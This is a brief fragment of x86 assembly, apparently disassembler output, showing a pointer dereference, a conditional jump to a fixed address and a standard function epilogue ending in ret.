mov ebx, dword [ebx]
jne 0x407ade
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret